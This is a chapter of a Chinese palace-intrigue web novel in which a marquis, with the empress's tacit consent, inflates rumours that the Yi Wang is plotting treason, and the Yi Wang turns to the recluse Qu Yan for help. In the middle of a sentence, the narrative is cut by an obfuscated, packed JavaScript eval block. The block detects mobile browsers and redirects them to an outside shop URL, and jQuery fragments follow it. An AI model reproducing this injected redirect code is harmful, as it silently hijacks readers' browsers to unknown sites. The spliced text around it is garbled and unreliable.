109.第二条鱼
作品:《长公主只想回村种地》 皇上不在都城,一切事情由皇后娘娘和司马弘决断。
影影绰绰的帘幕后,皇后沉声道:“皇上不在都城,牛鬼蛇神都现出原形,但有本宫在,就决不允许有损大晋国祚的事发生!”
众人虽然看不见皇后娘娘的眼神,但,皇后娘娘的眼神仿佛能穿透垂帘,刺向每个人。
皇后娘娘没有明说,但这些人都知道,她说的是二皇子派人意图刺探皇家矿山,意图染指铁矿一事。
皇后这是在警告那些想要帮二皇子说话的人,最好闭嘴。
但听皇后娘娘的意思,并未直接说要如何处罚二皇子,看来娘娘终究还是顾及皇上。
既然皇后娘娘忌惮皇上,他们自然识趣的不多嘴。
等皇上回来,二皇子觊觎矿脉之事,怎么处罚,那就看皇上的想法了。
到时,皇后娘娘想做什么,可就没那么容易了。
在皇后和二皇子党都互相守住界限的时刻。
御史令突然站出来,挺直身子道:“皇后娘娘,近日都城百姓间口口相传,都在议论义王随意杖杀小黄门之事,说义王目无法纪,意图谋反!”
众人倒吸一口凉气,看向御史令,眼神都是同样的想法:御史令您老人家真敢说啊。
郭运心里得意,皇后娘娘不敢私自处置二皇子,说明皇后还怕皇上回来怪罪的。
皇后再如何咋后宫横向霸道,在前朝还不是什么都不敢做!
他心中得意,冷不防听御史令再次提起义王之事,心里冷哼一声,御史令这冥顽不灵的老头,分明是剑指他们郭家!
把义王拉下水,二皇子还怎么再翻身!他们郭家没有兵权,眼前还需要义王的帮助。
郭运抬头看向帘子后面端坐的人影,皇后娘娘真是好一招连环计,可恨,二皇子太心急,被抓住了把柄。
义王和他们侍一颗绳上的蚂蚱,他绝不能看义王被诬陷,否则就是落入了皇后娘娘的陷阱!
“御史令,小黄门之事,皇上已有决断,你难道是想推翻陛下的决定?”郭运义愤填膺:“义王为大晋数次出生入死,可以说,这半壁江山都有义王的功劳!这样的功臣良将,陛下才出都城,你们便要置之于死地吗,你们这些人居心何在!”
郭运看似是对御史令书一个人慷慨激昂,实际这“你们”二字用得十分灵性。
“对啊,惠成侯所言不错,百姓不明真相,不辨是非,不能听信。”有郭家的附庸跟着说道。
郭运看了一眼司马弘,“无风不起浪,谁知道是不是有人为了别的什么原因,构陷义王。”意有所指。
“此事关重大,还是等皇上回来再做定夺吧。”有人提议道。
广顺侯心下清楚,自己立场不便为义王求情,可,义王帮了他很多,没有他,他们袁家不会有后。
广顺候自诩和义王之间是好兄弟,好兄弟就该有义气!
他顶着压力出声帮腔:“皇后娘娘,义王绝不会有不臣之心,这些都是有心人故意散播谣言,还请娘娘彻查真相,还义王一个清白。”
皇后看着自己这个妹夫,被气笑了。
他被义王一点小恩小惠迷得团团转,当年,皇上为了笼络天下英才,将阿之嫁给这个大字不识几个的莽夫。
阿之心中不愿意,可是为她,终究点了头。
他袁蒯祖上不过是泥瓦匠,他天生有点力气,凭借那点运气走到今日,但运气终有用完的时候。
这些年来,面对这样一个空有人样,没有长心的人,也是委屈阿之了。
她嘴角冷笑了一下,隔着帘幕,袁蒯没看见皇后眼里的冷意。
“的确要彻查,不能让义王受了委屈,这样的功臣不能蒙受不白之冤。”皇后保持公允,她问:“众爱卿,可有谁愿意辛苦这一遭?”
御史令为避嫌不参与调查,郭运心中的算盘迅速拨了起来。
他若是揽下此事,正好卖义王一个人情,让义王不要计较二皇子得知了铁矿消息却没告知他的事。
把这事揭过,对他们双方都好,他们还要一起对付共同的敌人。
郭运上前一步:“臣愿意为皇后娘娘彻查此事。”
御史令斜睨郭运一眼,“惠成侯和义王……”就差说二人狼狈为奸,他看向皇后的方向道:“娘娘,惠成侯愿意担任此事可以,但只他一人调查出来的结果不能服众。”
御史令眼神扫了一圈,最终停留在廷尉令的身上:“臣认为让廷尉令联合惠成侯彻查得出的结果,方显公正。”
“就依御史令的办。”皇后说。
皇上离开半月,先是二皇子窥伺皇家矿脉之事被发现,如今二皇子被皇后娘娘派人看管,等着陛下回来才处置。
后是义王滥杀无辜,意图谋反的谣言四起,这安静了半个月的都城,忽然鼎沸起来。
郭运带着自己的儿子调查谣言,发现是都城酒楼说书的流传出来的。
当即带人将这说书的抓进大牢,严刑逼供,屈打成招。
这样雷厉风行,导致都城一时中风声鹤唳,草木皆兵。
廷尉令不满郭运做法:“惠成候不能再这样下去了,这样下去,后果不堪设想。”
惠成侯根本是故意让原本并不严重的事态,变得越来越严重!
郭运不管这些,他抱着卖一个大人情给义王人情的决心,捏着胡子道:“廷尉府办事磨磨唧唧,何时才能止住谣言,这种时候,就该用重刑,才能扬汤止沸!”
廷尉令冷声道:“惠成侯,你此种做法根本不是扬汤止沸,只会让汤越来越沸!”
第二日,廷尉令便将此事上报皇后。
郭运一点都不担心,陛下不在,皇后不敢真的对二皇子和郭家怎么样,她手里没有实权,又是一介女流,能如何?
还不是只能等皇上回来,而等到皇上回来,怎么会任由皇后构陷二皇子和义王!
看着惠成侯眼中暴起的疯狂,廷尉令本以为皇后娘娘会有所表示,却皇后娘娘道:“惠成侯还是徐徐图之,否则等皇上回来怕是不好交代。”
只是不轻不重的说了这么一句,廷尉令气得说不出话。
惠成侯得意的看了一眼廷尉令,“皇后娘娘放心,我必然查个水落石出,等皇上回来,给皇上一个交代!”
“那惠成侯和廷尉府,继续查吧。”
“皇后娘娘,可……”廷尉令还想继续再说。
皇后抬手阻止了他的话,“不必再说了。”因为不是正式的朝会,皇后没有隔着帘子,她意味深长的看了一眼廷尉令,“廷尉令,好好配合惠成侯便是。”
廷尉令心中疑惑重重,最终答是。
一些无稽之谈,却因惠成侯的添柴加火,本是简单的事情,反而愈演愈烈。
都城人心惶惶,看惠成侯这样嚣张的模样,谣言已经转变为,义王和郭家狼狈为奸,皇上不在,郭家和义王把持朝政,想要发起宫变。
“皇后娘娘始终是女流之辈,弹压不住一个有兵权的诸侯和背后有皇子撑腰的侯爷呀。”
“皇后娘娘可是陛下的结发妻子,生的皇子那是嫡长子,皇上却不立嫡长子,想立宠妃的儿子为太子。”
“呸!那郭妃真不要脸!仗着得宠在宫中横行霸道,连皇后都要退一射之地。”
“看着惠成侯什么德行就知道了。”
“陛下多久才能回来啊,惠成侯跟只疯狗似的乱咬人,闹得都城不得安宁……”
“谁知道呢,那义王和郭家,没准巴不得皇上回不来了才好呢。”
“哎呦,嘘!!!你不要命了,敢这样说!”
“哼,惠成侯和义王敢做,我为何不敢说!”
……
如今,走到哪里,都能听道两耳朵义王和郭家的谣言。
好像没有皇上坐镇,不管是朝臣还是都城百姓都变得大胆起来。
直到义王意欲勾结匈奴,举兵谋反,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764680|180603||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谋夺大晋江山的谣言出来,还传得有鼻子有眼的。
等到义王得知外面情况,已是谣言漫天飞到义王和郭妃有一腿的地步了。
袁蒯看着脸色难看的义王,“姜兄,你还是快想想办法吧,如今这外面的谣言越发离谱,皇上再信任你,怕也会生气。”
义王真没想到郭运能蠢到如此地步,不!他不是蠢,他是坏。
为了让他对他感恩戴德,也为了让他不计较矿脉之事,故意将此事闹大,毕竟事情越大,恩情越大。
义王的脸色阴沉得能滴出水来,真恨不得立即就杀了郭运这蠢货!
“袁兄,多谢你冒着被发现的风险给我传信,你的大恩大德,我没齿难忘。”
“姜兄不必客气,我们之间不必说这些。”
袁蒯又想到什么,他道:“其实,姜兄,我看皇后似乎愿意招揽你的,我觉得现在向皇后示好一番,其他的,等皇上回来再说也不迟。”
“袁兄怎么会有此一说。”姜石生性多疑,袁蒯头脑简单,四肢发达,怎么会突然想到让他和皇后示好?
“这,其实是我偷听阿之的话来着,说是皇后娘娘最近十分头疼,皇上不在,她又不敢轻易处置二皇子,只想赶快平息此事,等皇上回来,一切就解决了。”
姜石的疑心这才消了一些,看向袁蒯道:“原来如此,多谢袁兄考虑周全,我会考虑看看的。”
都城的谣言,漆姑知道得一清二楚,更知道是何人在背后推波助澜。
漆姑想,恐怕很快,义王就坐不住,要进宫请罪了。
这日,义王来到曲岩清修的道观,见了曲岩,像看见救星。
“子烈兄救我!”
曲岩正在打坐,睁开眼看见义王,他一向令人难以捉摸的脸,此刻露出了一丝焦急。
“发生何事,信臣如此着急?”
“外面现在都在传,我说我勾结匈奴意图谋反,还说我,我……”
曲岩看着义王等着他说,“还说我,我功高盖主!有不臣之心!”
曲岩淡淡的道:“信臣,谣言之所以是谣言,就因为它是假的,皇上是什么样的人,你清楚,否则你不会是义王,皇上也不会是皇上。”
他看向姜石的眼睛,问:“还是说,信臣当真有不臣之心?”
“不,不!曲大哥,我的忠心,日月可鉴!咱们这些人一路跟随陛下打天下,我姜石有没有不臣之心,您最清楚!”
姜石心中其实清楚,比起皇后,这个在道观中清修的永康侯对他的威胁更大一些。
“既然如此,就不要担心了。”
“可是众口铄金,三人成虎,我怕等皇上回来,那莫须有的罪名,就落到我头上,洗不清了!”
“想当年信臣一心想谋一个太平盛世,先投效燕王,未得燕王重用,看清了燕王身为贵族的傲慢,于是转而投效陛下麾下,立即得到重用,豪气云天,古道热肠。陛下不信你,怎会用你,又封你为异姓王。”
姜石露出悲哀的一笑,“我不如子烈兄心无尘埃,难道子烈兄激流勇进,不是担心……狡兔死,飞鸟尽,良弓藏吗?”姜石话中带着几分试探。
“哈哈哈”曲岩笑了几声,问:“信臣还是当年那个为了村人而战的姜家村姜石吗?”
姜石看向曲岩那双浅色的,通透无比的眼珠,他答:“我是。”
他又说:“子烈兄,这次我是想请您和我一起进宫,有你在,皇后娘娘能网开一面,不知你可否帮我这一次?”
曲岩那双沾染了神性的眼睛,淡淡的看向姜石:“信臣,我想你找错人了,我早不过问朝堂之事。”
“子烈兄,你就算你不在朝堂,依旧得陛下和皇后娘娘信任,这一次,唯有你能帮我。”
姜石深深的一拜,“我从未有求过子烈兄,还请子烈兄帮我这一次。”恳求道。
曲岩叹了一口气,“好吧,我便和你进宫一趟,其他的我不能保证。”

